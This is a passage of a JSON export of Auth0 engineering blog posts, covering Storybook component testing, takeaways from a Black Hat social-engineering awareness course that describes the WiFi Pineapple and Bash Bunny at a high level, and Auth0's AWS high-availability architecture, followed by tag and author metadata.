CTRL-V](https://images.ctfassets.net/23aumh6u8s0i/2J67xmm28v3y1IGGkdHtmh/094c27a7ffdb0f2ff51d89c771ad3184/believe-in-code-reuse)\n\n[Source](https://hermesespinola.wordpress.com/2016/11/24/code-reusability-dont-reinvent-the-wheel/)\n\n## Storybook: Let Your Components Tell a Story\n\n[Storybook](https://storybook.js.org/) is a UI development environment for UI components. It acts as a board where we can stage our components and visualize them in different states and interact with them as if they were on a live application. This is all done in isolation since Storybook runs outside of our app. Storybook has its own Webpack setup that is very similar to the one from `create-react-app` but can be configured to meet our needs. The platform also comes with a built-in dev server to help us preview our components locally.\n\n![React Storybook component preview](https://images.ctfassets.net/23aumh6u8s0i/7aBehDlHBJczkWVH02PVSd/1449412c3d8c1e9ddc70e599c539c864/storybook-demo)\n\nAs we have described, we already had a working project when we decided to use Storybook to create a component library. However, because of its independent architecture, adding Storybook to our existing project did not create any burden or changes to our existing codebase.\n\nWe added it like any other `npm` package and then imported our existing components into its platform. However, it did require us to think differently about the creation, maintenance, and sustainment of our components moving forward \u0026mdash; an integrative process we call \"storybook-driven development.\"\n\nWith Storybook, we have been able to build our React components gradually in isolation without having to worry about having the final component version or environment ready from the start. It has doubled as a staging and planning tool for us.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Storybook and React let us plan, stage, and build components gradually. It's a living style guide.\"/\u003e\n\n## Documenting and Testing Pain Points\n\nOur Customer Success Infrastructure team had a second problem: documenting and testing all the different scenarios of each project feature. In our projects, we have tests with high coverage that are run through a [continuous integration pipeline configured in Heroku](https://devcenter.heroku.com/articles/heroku-ci).\n\nIn Guillermo's words:\n\n\u003e \"We have strong tests along with continuous integration because we want to have nice weekends without worrying about our production builds failing. The most common phrase in a [Pull Request (PR)](https://help.github.com/articles/about-pull-requests/) is: Please add the tests.\"\n\nAside from testing, we place high value in documenting code. It's our legacy for anyone who will be working with our codebase in the future. Fortunately, having a component library like Storybook allows us to document components visually and declaratively. Storybook provides a developer with all the information needed to understand the structure and state of a component.\n\nTesting is hard. For most developers, testing is a sad story. Well, not anymore! With modern and powerful tools, our testing story is a happy one.\n\nIn React, there are different aspects of UI Testing. We categorize them as follows along with their tooling:\n\n- Structural Testing:\n - [Enzyme](https://github.com/airbnb/enzyme)\n - [Jest Snapshot Testing](https://jestjs.io/docs/en/snapshot-testing)\n- Interaction Testing:\n - Enzyme\n- CSS/Styles Testing:\n - Image comparison to do regression testing\n - Jest Snapshot using inline styles\n - Other tools like [BackstopJS](https://garris.github.io/BackstopJS/), [PhantomCSS](https://github.com/HuddleEng/PhantomCSS), [Gemini](https://gemini-testing.github.io/), and [Happo](https://github.com/Galooshi/happo)\n- Manual Testing\n\nStorybook integrates with Jest Snapshot through an add-on called [`StoryShots`](https://github.com/storybooks/storybook/tree/master/addons/storyshots/storyshots-core). `StoryShots` adds automatic Jest Snapshot Testing to our codebase by using our existing Storybook stories as the input for Jest Snapshot Testing.\n\nWith our Heroku CI pipeline configured, each time someone makes a PR with a new component against our Storybook, this automated testing is triggered and a visual preview of our app is created. This lets us perform structural and style testing much faster.\n\n## Sharing our Engineering Knowledge\n\nWe are happy to share what our engineering process looks like in detail and how it has positively impacted our developer experience in creating, testing, and documenting user interfaces.\n\nYou may stay in touch with us by following [@auth0 on Twitter](https://twitter.com/auth0), subscribing to our newsletter, or checking this blog back from time to time. We hope that you'll love the content that we are creating.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-09-04T08:30","readTime":8,"formattedDate":"Sep 4, 2018"},{"title":"Black Hat Training: Achieving Security Awareness Through Social Engineering Attacks","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"7qMvn9Pd1J7zyC320mpk30","type":"Entry","createdAt":"2021-03-22T08:17:52.949Z","updatedAt":"2021-03-22T08:27:40.542Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"annybell-villarroel","name":"Annybell Villarroel","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5SfuLuUsohPSuT4Zm7lfii","type":"Asset","createdAt":"2021-03-22T08:27:38.806Z","updatedAt":"2021-03-22T08:27:38.806Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"annybell-villarroel","description":"annybell-villarroel avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/5SfuLuUsohPSuT4Zm7lfii/d62f732a986aec9c5c1f255aecdedb40/annybell-villarroel","details":{"size":328812,"image":{"width":1283,"height":1283}},"fileName":"annybell-villarroel","contentType":"image/jpeg"}}},"lastUpdatedBy":"Unknown during the migration","email":"annybell.villarroel@auth0.com","twitter":"https://twitter.com/annyv2","github":null,"linkedin":"https://www.linkedin.com/in/annybell-villarroel-60281189/","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"Security Culture Manager","description":"Anny believes in a people-centric trust-based approach for security culture and awareness \u0026mdash; one where we help people learn about cybersecurity in a fun way, and make them feel empowered, rather than afraid. She also leads the Madrid chapter for WoSEC \u0026mdash; Women of Security."}}],"path":"achieving-security-awareness-through-social-engineering-attacks","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/56S9oDWKVeNY8AIszkZvw1/7d6794f3d31d4eedb5a3d3699e796e5c/default","size":{"width":1764,"height":1584}},"description":"Let’s cover the top 10 cybersecurity takeaways of my social engineering training at Black Hat.","category":["Engineering","Training","Security"],"tags":["training","security","social-engineering","identity","awareness","social-media","phishing","blackhat"],"postContent":"\n\nI took the [\"Achieving Security Awareness Through Social Engineering Attacks\"](https://www.blackhat.com/us-18/training/achieving-security-awareness-through-social-engineering-attacks.html) course at [Black Hat this year](https://www.blackhat.com/us-18/)!\n\n\u003cbr /\u003e\n\u003cdiv style=\"display: flex; justify-content: center;\"\u003e\n \u003cblockquote class=\"twitter-tweet\" data-lang=\"en\"\u003e\u003cp lang=\"en\" dir=\"ltr\"\u003e“Achieving Security Awareness Through Social Engineering Attacks” \u003ca href=\"https://twitter.com/hashtag/BHUSA?src=hash\u0026amp;ref_src=twsrc%5Etfw\"\u003e#BHUSA\u003c/a\u003e Training taught by \u003ca href=\"https://twitter.com/jaysonstreet?ref_src=twsrc%5Etfw\"\u003e@jaysonstreet\u003c/a\u003e \u0026amp; \u003ca href=\"https://twitter.com/aprilwright?ref_src=twsrc%5Etfw\"\u003e@aprilwright\u003c/a\u003e will use current Red Team strategies to develop a better understanding of how attackers use SE \u003ca href=\"https://t.co/yuojeClInS\"\u003ehttps://t.co/yuojeClInS\u003c/a\u003e\u003c/p\u003e\u0026mdash; Black Hat (@BlackHatEvents) \u003ca href=\"https://twitter.com/BlackHatEvents/status/1002976909268045827?ref_src=twsrc%5Etfw\"\u003eJune 2, 2018\u003c/a\u003e\u003c/blockquote\u003e\n \u003cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"\u003e\u003c/script\u003e\n\u003c/div\u003e\n\u003cbr /\u003e\n\nIt was eye-opening, tremendously interesting, and fun! It was facilitated by [Jayson Street](https://twitter.com/jaysonstreet) and [April Wright](https://twitter.com/aprilwright). Jayson gets paid by companies to break into their own facilities through [Social Engineering](\u003chttps://en.wikipedia.org/wiki/Social_engineering_(security)\u003e). He shared many amazing stories, like the time he [gained full access to a bank in Beirut in two and a half minutes](https://www.youtube.com/watch?v=UpX70KxGiVo\u0026feature=youtu.be\u0026t=434).\n\n![Corgi dog meme, coding on computer](https://images.ctfassets.net/23aumh6u8s0i/60r47IT9a84TsaSpyvHB4h/1f15d9303d87cc13b35de378f41ae7fc/corgi-social-engineering-meme)\n\n[Source](https://imgflip.com/meme/38390688/corgi-hacker?sort=latest)\n\nHere’s a summary of what we discussed in the training, along with key takeaways:\n\n## OSINT and Social Media\n\n\u003e “Information doesn’t have to be secret to the valuable” ~ CIA\n\nOne of the key elements of Social Engineering is [Open-source Intelligence (OSINT)](https://en.wikipedia.org/wiki/Open-source_intelligence), which is insight produced from data collected from publicly available sources. **If you don’t have proper privacy settings in your social media accounts, the information you put there is public**.\n\nIn class, we discussed the case of a guy named Travis who put pictures of his badge, passport, plane tickets, job title, workplace and even emails on Instagram.\n\nWe analyzed how someone that overposts on social media could be targeted, and it’s not a surprise that it’s relatively simple. We also talked about tools and techniques to get and find relevant information.\n\nThere was an exercise about drafting (not sending) a spear phishing email in 1 hour targeted at someone in our organization using OSINT. Nobody used their own workplace and nobody said where they worked, but we completed the task with good results.\n\n**Takeaway #1:** Review your privacy settings and don’t post private information on social media.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Review your privacy settings and don’t post private information on social media. Open-source Intelligence tools could be used to mine your data and create phishing opportunities.\"/\u003e\n\n## WiFi Pineapple and Bash Bunny\n\nAs part of the training, they gave us [some interesting gadgets from Hak5](https://www.hak5.org/) including a [WiFi Pineapple](https://www.wifipineapple.com/) and a [Bash Bunny](https://wiki.bashbunny.com/#!index.md). They are tools meant to be used for penetration tests, and they have many pranks that can help with Security Awareness programs by showcasing their associated dangers in safe and controlled setups.\n\n\u003e We also got a [Packet Squirrel](https://www.hak5.org/gear/packet-squirrel) as an extra gift!\n\n### WiFi Pineapple\n\nThe WiFi Pineapple is a [Wireless Auditing tool](https://www.tutorialspoint.com/wireless_security/wireless_security_tools.htm) that can work as a [Man-in-the-middle platform](https://en.wikipedia.org/wiki/Man-in-the-middle_attack). Among others, it allows the owner to intercept an open WiFi connection and inspect and modify HTTP traffic, redirect the user to a malicious site, or associate with past public WiFi connections and “pretend” to be one of them.\n\nFor example, if you’re near a Pineapple while your phone has WiFi turned on and is actively looking for connections, all of the sudden you may connect to the airport network you used 6 months ago and a site may ask you to pay for the service. They mention it on the [Silicon Valley TV Show](https://www.youtube.com/watch?v=9FckHMPBs_Q).\n\nThis is the picture of a WiFi Pineapple Tower because… Black Hat.\n\n![WiFi Pineapple Tower at Black Hat Conference](https://images.ctfassets.net/23aumh6u8s0i/JCZHfzvkgBGa4Hp35EuBW/787cc9176b637d4189bab7e9d312a068/wifi-pineapple-tower)\n\n**Takeaway #2:** Avoid open or public networks as much as possible, especially in crowded spaces. If you’re not in a trusted space, turn on WiFi only when you really need it.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Avoid open or public networks as much as possible, especially in crowded spaces. If you’re not in a trusted space, turn on WiFi only when you really need it.\"/\u003e\n\n### Bash Bunny\n\nThe Bash Bunny is a USB attack platform that can emulate trusted USB devices like Gigabit Ethernet, serial, flash storage and keyboards.\n\n![Bash Bunny USB platform.](https://images.ctfassets.net/23aumh6u8s0i/2NNQP0gnYiYvYEEFuaHUsc/a78cb5ae090bb73827007b4051f99f01/bash-bunny)\n\nWe did a couple of experiments in the class: First, we used a “prank” payload that [rickrolls](https://en.wikipedia.org/wiki/Rickrolling) the target at a specific date and time. It took less than 20 seconds to deliver this payload.\n\nThen we tested a “recon” payload and we could get the full terminal history, clipboard content, system users, [`ifconfig`](https://en.wikipedia.org/wiki/Ifconfig), WAN IP, and all installed applications. This took a little bit longer, but it was still fast and the computer was in sleep mode.\n\n**Takeaway #3:** Don’t plug in random USB drives and be cautious when working on public spaces.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Don’t plug in random USB drives and be cautious when working on public spaces.\"/\u003e\n\n## Conclusion and Other Takeaways\n\nWe talked about other topics such as policies, security awareness programs, memes and the importance of repetition during training. These are the top 10 Takeaways of the experience:\n\n1. Review your privacy settings and don’t post private information on social media.\n\n2. Avoid open or public networks as much as possible, especially in crowded spaces. If you’re not in a trusted space, turn on WiFi only when you really need it.\n\n3. Don’t plug in random USB drives and be cautious when working on public spaces.\n\n4. Clickbait is widely used in social engineering, don’t trust it.\n\n5. Before running phishing campaigns, there should be policies and formal training in place.\n\n6. Although potentially controversial, hard to spot spear phishing emails create a more impactful “teachable moment” (as Jayson says).\n\n7. Certain topics of Security Awareness training should be tailored by role. An organization should have a site that groups all this information and internal security-focused newsletters could be useful as well.\n\n8. Controlled live demos with tools like the WiFi Pineapple and the Bash Bunny help raise security awareness.\n\n9. Prizes and gamification support these efforts.\n\n10. It is important to always explain the purpose of the training, demo or campaign. We don’t ever want you to fail, we want to empower you and help make you one of our strongest lines of defense:\n\n![Security training at Black Hat Conference](https://images.ctfassets.net/23aumh6u8s0i/386zANR8fvarMMfbzH9Mfg/5e492f230e1d8b29414d4eb3798ba793/teammate-empowerment)\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Security training and awareness campaigns make people the best line of cybersecurity defense\"/\u003e\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-08-27T10:00","readTime":6,"formattedDate":"Aug 27, 2018"},{"title":"Auth0 Architecture: 5 Years In","authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"1zrPOXOzgb5fkZVMzJu0yz","type":"Entry","createdAt":"2021-03-22T08:18:38.492Z","updatedAt":"2021-03-22T08:30:51.594Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"dirceu-tiegs","name":"Dirceu Tiegs","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"3NBBmfieikWaLMpcNe4hum","type":"Asset","createdAt":"2021-03-22T08:30:50.028Z","updatedAt":"2021-03-22T08:30:50.028Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"Dirceu-Tiegs","description":"Dirceu-Tiegs avatar","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/3NBBmfieikWaLMpcNe4hum/e2afeb072dacb720d366181dd42a3cc7/Dirceu-Tiegs","details":{"size":224404,"image":{"width":400,"height":400}},"fileName":"Dirceu-Tiegs","contentType":"image/png"}}},"lastUpdatedBy":"Unknown during the migration","email":"dirceu.pereira@auth0.com","twitter":"https://twitter.com/dirceu","github":null,"linkedin":null,"isPopular":null,"personalWebsite":null,"type":"Former Auth0 Employee","jobTitle":"Site Reliability Engineering Team","description":"What I enjoy the most about being an SRE at Auth0 is that it allows me to exercise different areas such as coding, architecture, writing, training, investigations, debugging, and incident response. It's great to be able to think deeply about all aspects related to reliability and then apply it to large-scale, real-world projects."}}],"path":"auth0-architecture-running-in-multiple-cloud-providers-and-regions","heroImage":{"url":"https://images.ctfassets.net/23aumh6u8s0i/56S9oDWKVeNY8AIszkZvw1/7d6794f3d31d4eedb5a3d3699e796e5c/default","size":{"width":1764,"height":1584}},"description":"Learn more about how Auth0 architects its services to ensure scalability and high availability to handle more than 1.5 billion logins per month.","category":["Engineering","Best Practices","Scalability"],"tags":["architecture","engineering","enterprise","authorization","scalability","high-availability","cloud","monitoring","aws","mongoDB","testing","automation","cdn"],"postContent":"\n\nAuth0 provides authentication, authorization, and single sign-on services for apps of any type (mobile, web, native) on any stack. Authentication is critical for the vast majority of apps. We designed Auth0 from the beginning so that it could run anywhere: on our cloud, on your cloud, or even on your own private infrastructure.\n\nIn this post, we'll talk more about our public SaaS deployments and provide a brief introduction to the infrastructure behind [auth0.com](https://auth0.com/) and the strategies we use to keep it up and running with high availability. This is an updated version of the [2014 High Scalability post about Auth0's architecture](http://highscalability.com/blog/2014/12/1/auth0-architecture-running-in-multiple-cloud-providers-and-r.html).\n\nA lot has changed since then in Auth0. These are some of the highlights:\n\n- We went from processing a couple of million logins per month to 2.5 billion logins per month, serving thousands of customers, including [FuboTV](https://auth0.com/learn/sports-centric-streaming-service-fubotv-sees-50-roi-just-auth0s-security/), [Mozilla](https://auth0.com/blog/auth0-mozilla-partnership/), [InterMiles](https://auth0.com/learn/jetprivilege-case-study/), and more.\n\n- We implemented new features like [custom domains](https://auth0.com/docs/custom-domains), [scaled bcrypt operations](https://auth0.engineering/bcrypt-as-a-service-9e71707bda47), vastly [improved user search](https://auth0.com/docs/users/search/v3), and much more.\n\n- The number of services that compose our product in order to scale our organization and handle the increases in traffic went from under 10 to over 30 services.\n\n- The number of cloud resources grew immensely as well; we used to have a couple dozen nodes in one environment (US), now we have more than a thousand over four environments (US, US-2, EU, AU).\n\n- We doubled-down decided to use a single cloud provider for each of our environments and moved all our public cloud infrastructure to AWS.\n\n## Core service architecture\n\n![Auth0.com core service architecture](https://images.ctfassets.net/23aumh6u8s0i/2mden7W7brrYGv8LHDK2Lp/5347634d4197ae655555cf93b8209c2d/auth0-core-service-architecture)\n\nThe core service is composed of different layers:\n\n- Core applications: Auto-scaling groups of servers running different services of our stack (authentication, management API, multi-factor authentication API, and much more).\n\n- Data storage: Clusters of MongoDB, Elasticsearch, Redis, and PostgreSQL storing a variety of datasets for different applications and features.\n\n- Transports/Queues: Kinesis streams and RabbitMQ, SNS, and SQS queues.\n\n- Base services: Services for rate-limiting, bcrypt clusters, feature-flags, and more.\n\n- Routing: AWS load balancers (ALB, NLB, and ELB from AWS) and some nodes running NGINX as a proxy.\n\n## High Availability\n\nIn 2014 we used a multi-cloud architecture (using Azure and AWS, with some extra resources on Google Cloud) and that served us well for years. As our usage (and load) rapidly increased, we found ourselves relying on AWS resources more and more.\n\nAt first, we switched our primary region in our environment to be in AWS, keeping Azure as failover. As we began using more AWS resources like Kinesis and SQS, we started having trouble keeping the same feature set in both providers. As our need to move (and scale) faster grew, we opted to keep supporting Azure with a limited feature parity: if everything went down on AWS, we could still support core authentication features using the Azure clusters, but not much of the new stuff we had been developing.\n\nAfter some bad outages in 2016, we decided to finally converge on AWS. We stopped all efforts related to keeping the services and automation platform-independent and instead focused on:\n\n- Providing a better failover story inside AWS, using multiple regions and at least 3 Availability Zones per region.\n\n- Increasing usage of AWS-specific resources like auto-scaling groups (instead of using fixed clusters of nodes), application load balancers (ALBs), and more.\n\n- Writing better automation: we revamped our automation, completely embracing infrastructure as code using TerraForm and SaltStack to provision new Auth0 environments (and also to replace existing ones). This allowed us to grow from partially automated environments doing ~300 logins per second to fully automated environments doing more than ~3.4 thousand logins per second; using the new tooling makes it easier to scale up (and down, whenever it makes sense). The level of automation we achieved is not perfect but is allowing us to grow to new regions and create new environments in a much more convenient way.\n\n- Writing better playbooks: with more time and focus, we saw that besides automation we also needed better playbooks in order to understand, manage, and respond to incidents related to our ever-growing mesh of services. This vastly improved scalability and reliability while also allowing us to onboard new employees faster.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Writing better automation let us grow from partially automated environments doing ~300 logins per second to fully automated environments doing more than ~3.4 thousand logins per second\"/\u003e\n\nLet's take a look at our US environment architecture, for instance. We have this general structure:\n\n![Auth0 US Environment Architecture](https://images.ctfassets.net/23aumh6u8s0i/4hGMwY5n4jk2aoJyyRAhjF/0ca131b596da7068aced34ca69fbbc5c/auth0-us-environment-architecture)\n\nAnd this is the structure inside a single AZ:\n\n![Auth0 Single Availablity Zone](https://images.ctfassets.net/23aumh6u8s0i/4EtOG7to5lHmyYnU5Q3aaC/a22b74fe7b0a58d0f54a78a6b801bbd2/auth0-single-availability-zone)\n\nIn this case, we use two AWS regions: us-west-2 (our primary) and us-west-1 (our failover). Under normal circumstances, all requests will go to us-west-2, being served by three separate availability zones.\n\nThis is how we achieve high availability: all services (including databases) have running instances on every availability zone (AZ). If one AZ is down due to a data center failure, we still have two AZs to serve requests from. If the entire region is down or having errors, we can update Route53 to failover to us-west-1 and resume operations.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"We achieve high availability by running all services instances on every AWS availability zone\"/\u003e\n\nWe have different maturity levels for service failover: some services, like user search v2 (that builds a cache on Elasticsearch) might work but with slightly stale data; still, core functionality keeps working as expected.\n\nIn the data layer, we use:\n\n- A cross-region cluster for MongoDB.\n\n- RDS replication for PostgreSQL.\n\n- Clusters per region for Elasticsearch with automated snapshot and restores running regularly to account for the lack of cross-region clustering.\n\nWe exercise failover at least once per year, and we have playbooks and automation to help new infrastructure engineers get up to speed on how to do it and what are the implications.\n\nOur deployments are usually triggered by a Jenkins node; depending on the service we either use Puppet, SaltStack, and/or Ansible to update individual or groups of nodes, or we update our AMIs and create new autoscaling groups for immutable deployments. We have different types of deployments for new and old services, and this has been shown to be largely ineffective as we need to maintain automation, docs, and monitoring for something that should be unified.\n\nWe are currently rolling out blue/green deployments for some of the core services, and we intend to implement the same for every core and supporting service.\n\n## Automated Testing\n\nBesides unit test coverage on every project, we have multiple functional test suites that run in every environment; we run it on a staging environment before we deploy to production, and we run them again in production after finishing a deployment to ensure that everything works.\n\nThe highlights:\n\n- We have thousands of unit tests in different projects.\n\n- We use Pingdom probes that run every minute to check core functionality.\n\n- We use a mix of Selenium and CodeceptJS-based functional tests before and after every deployment. The functional test suites test different API endpoints, authentication flows, identity providers, and much more.\n\n\u003cinclude src=\"TweetQuote\" quoteText=\"Besides unit test coverage on every project, we have multiple functional test suites that run in every environment: staging before deploying to production and again in production after finishing deployment.\"/\u003e\n\n## CDN\n\nUntil 2017 we ran our own, custom-built CDN using NGINX, Varnish, and EC2 nodes in multiple regions. Since then, we transitioned to CloudFront, which has given us several benefits that include:\n\n- More edge locations, which means less latency for our customers.\n\n- Lower maintenance costs.\n\n- Easier configuration.\n\nThere are a few downsides, like the fact that we need to run Lambdas to perform some configurations (like adding custom headers to PDF files and things like that). Still, the upsides definitely make up for that.\n\n## Extend\n\nOne of the features we provide is the ability to run custom code as part of the login transaction, either via [_authentication rules_](https://auth0.com/docs/rules/current) or [_custom database connections_](https://auth0.com/docs/connections/database/custom-db). These features are powered by [_Extend_](https://goextend.io/), an extensibility platform that grew out of Auth0 and is now being used by other companies as well. With Extend, our customers can write anything they want in those scripts and rules, allowing them to extend profiles, normalize attributes, send notifications, and much more.\n\nWe have Extend clusters specifically for Auth0; they use a combination of EC2 auto-scaling groups, Docker containers, and custom proxies to handle requests from our tenants, processing thousands of requests per second and responding fast to variations of load. For more details about how this is built and run, check out this post on [how to build your own serverless platform](https://tomasz.janczuk.org/2018/03/how-to-build-your-own-serverless-platform.html).\n\n## Monitoring\n\nWe use a combination of different tools for monitoring and debugging issues:\n\n- CloudWatch\n\n- DataDog\n\n- Pingdom\n\n- SENTINL\n\nThe vast majority of our alerts come from CloudWatch and DataDog.\n\nWe tend to configure CloudWatch alarms via TerraForm, and the main monitors we keep on CloudWatch are:\n\n- HTTP errors from our main load balancers.\n\n- Unhealthy instances in a target group.\n\n- SQS processing delays.\n\nCloudWatch is the best tool for alarms based on AWS-generated metrics (like ones from load balancers or autoscaling groups). CloudWatch alerts usually go to PagerDuty, and from PagerDuty to Slack/phones.\n\nDataDog is a service we use to store and act on time-series metrics. We send metrics from Linux boxes, AWS resources, off-the-shelf services (like NGINX or MongoDB), and also custom services we have built (like our Management API).\n\nWe have many DataDog monitors. A few examples:\n\n- Increase in response times in `$service` on `$environment`.\n\n- Running out of space on `$volume` in `$instance` (`$ip_address`).\n\n- Issue with `$process` on `$environment` / `$host` (`$ip_address`).\n\n- Increase in processing time for `$service` on `$environment`.\n\n- NTP drifting off / clock issue on `$host` (`$ip_address`).\n\n- MongoDB replica-set change on `$environment`.\n\nAs you can see from the examples above, we have monitors on low-level metrics (like disk space) and high-level metrics (like MongoDB replica-set change, which alerts us if there was a change in the primary node definition, for example). We do much more and have some pretty sophisticated monitors around some services.\n\nDataDog alerts are pretty flexible in their outputs and we usually send them all to Slack, sending to PagerDuty only those who should \"wake people up\" (like spikes of errors, or most things that we are sure that are having an effect on customers).\n\nFor logging we use Kibana and SumoLogic; we are using SumoLogic to record audit trails and many AWS-generated logs, and we use Kibana to store application logs from our own services and other \"off-the-shelf\" services like NGINX and MongoDB.\n\n## The Future\n\nOur platform evolved quite a bit in order to handle the extra load and the huge variety of use cases that are important to our customers, but we still have more room for optimizations.\n\nNot only our platform grew, but our engineering organization increased in size: we have many new teams building their own services and are in need of automation, tooling, and guidance around scalability.\nWith that in mind, these are the initiatives in place for us to scale not only our platform but also our engineering practice:\n\n- Build a Platform, PaaS style: As mentioned before, today we have different automation and deployment flows; this causes confusion and creates a barrier of entry for engineers as it's hard to experiment and scale up without touching too many repositories. We are developing a PoC for a platform (currently running on top of ECS) in which engineers can configure a YAML file and just deploy it to get computing resources, monitoring, logging, backups, and much more. All of that without having to configure it explicitly. This effort is in an early stage and might still change a lot (EKS?). However, we feel we are taking the right direction given our growing size and scalability constraints.\n\n- Implement smoke tests for every new pull request: besides unit testing (that already runs on each new PR), we want to run integration tests on ephemeral environments wherever that's possible.\n\n- Centralize our logging solution into just one provider. This might mean moving away from Kibana and using just SumoLogic, but we still need to evaluate feature set, data volume, and more.\n\n- Automate metrics: Too much of our metric story is manual now: adding metrics-related calls to the code while deploying, and building dashboards and monitors using the DataDog interface. If we use a standard format and naming, we could do things like building dashboards/monitors automatically, extracting metrics from logs instead of explicitly adding calls to the code, and more.\n\n- Ensure we have auto-scaling and blue/green deployments on every core service. This should come out-of-the-box from our new Platform, but while that is being built and tested we need to improve the scaling/deployment/rollback story for the core services that are still lacking in that regard.\n\n\u003cinclude src=\"asides/AboutAuth0\" /\u003e\n","dateCreated":"2018-08-15T08:30","readTime":11,"formattedDate":"Aug 15, 2018"}],"totalNumberOfPosts":24,"tags":["verification","auth0","forms","fga","okta","aws","nodejs","attacks","security","woman","engineering","ens","ethereum","authorization","fine-grained","development","shift-left","lifecycle","code-review","software-development","pull-request","quality","software-engineering","mentor","mentorship","internal-tools","scaling","docker","slack","communications","developer-tools","tools","cloud","cloud-engineering","lambda","pentesting","policy","sqs","s3","buckets","data","breach","leak","cybersecurity","grpc","http","http2","api","proto","protocol-buffer","server","node","javascript","idm","project","identity","identity-management","anomaly","identity-flux","digital-inheritance","compromise","mfa","secrets","user-data","outages","gdpr","planning","compliance","collaboration","architecture","enterprise","scalability","high-availability","monitoring","feature-flags","feature-toggles","mongoDB","deployment","progressive-profiling","login","sso","passwordless","sessions","deprovisioning","privacy","logs","database","redis","postgresql","mongodb","elasticsearch","rds","sre","site-realiability","software","best-practices","programming","teamwork","teams","growth","advice","react","storybook","frontend","ui","ux","component-library","reusability","banking","training","social-engineering","awareness","social-media","phishing","blackhat","testing","automation","cdn","executive-team","hiring","hr","developers","engineers","work","jobs","careers","career","auziro","professional","networking","feature-changes","business"],"authors":[{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"4JM0BDImFBNvUvmdDi9OPG","type":"Entry","createdAt":"2021-03-22T08:18:23.119Z","updatedAt":"2024-12-13T15:55:46.797Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":60,"revision":10,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"damian-schenkelman","name":"Damian Schenkelman","avatar":{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"3hNT0X2OvXm5VqR5TzuBEy","type":"Asset","createdAt":"2024-12-13T15:27:23.134Z","updatedAt":"2024-12-13T15:27:23.134Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":2,"revision":1,"locale":"en-US"},"fields":{"title":"Damian Schenkelman","file":{"url":"//images.ctfassets.net/23aumh6u8s0i/3hNT0X2OvXm5VqR5TzuBEy/2e111724daf3990e4ab2f5b2d5810768/Damian_Schenkelman.png","details":{"size":282420,"image":{"width":512,"height":512}},"fileName":"Damian Schenkelman.png","contentType":"image/png"}}},"lastUpdatedBy":"Robertino Calcaterra","email":"damian@okta.com","twitter":"https://x.com/dschenkelman","github":"https://github.com/dschenkelman","linkedin":"https://www.linkedin.com/in/damianschenkelman/","isPopular":null,"personalWebsite":null,"type":"Auth0 Employee","jobTitle":"VP R\u0026D (Auth0Lab)","description":"Damian was one of Auth0's earliest employees. He loves building products for developers and taking things from 0 to 1.\n\u003cbr\u003e\u003cbr\u003e\nHe played key roles in implementing product features and growing the engineering organization in the early stages, and later on defining Auth0's architecture for scale and creating new products. Today he helps shape Auth0's long term strategy and leads Auth0Lab, a small and amazing team doing research and development of forward-looking products.\n\u003cbr\u003e\u003cbr\u003e\nHe spends his spare time with family, and friends, exercising, and catching up on all things NBA."}},{"metadata":{"tags":[],"concepts":[]},"sys":{"space":{"sys":{"type":"Link","linkType":"Space","id":"23aumh6u8s0i"}},"id":"5X1TFtn6dh8w7Awv1i4cFe","type":"Entry","createdAt":"2021-03-22T08:22:05.422Z","updatedAt":"2021-03-22T08:44:10.954Z","environment":{"sys":{"id":"master","type":"Link","linkType":"Environment"}},"publishedVersion":3,"revision":2,"contentType":{"sys":{"type":"Link","linkType":"ContentType","id":"author"}},"locale":"en-US"},"fields":{"path":"yvonne-wilson","name":"Yvonne 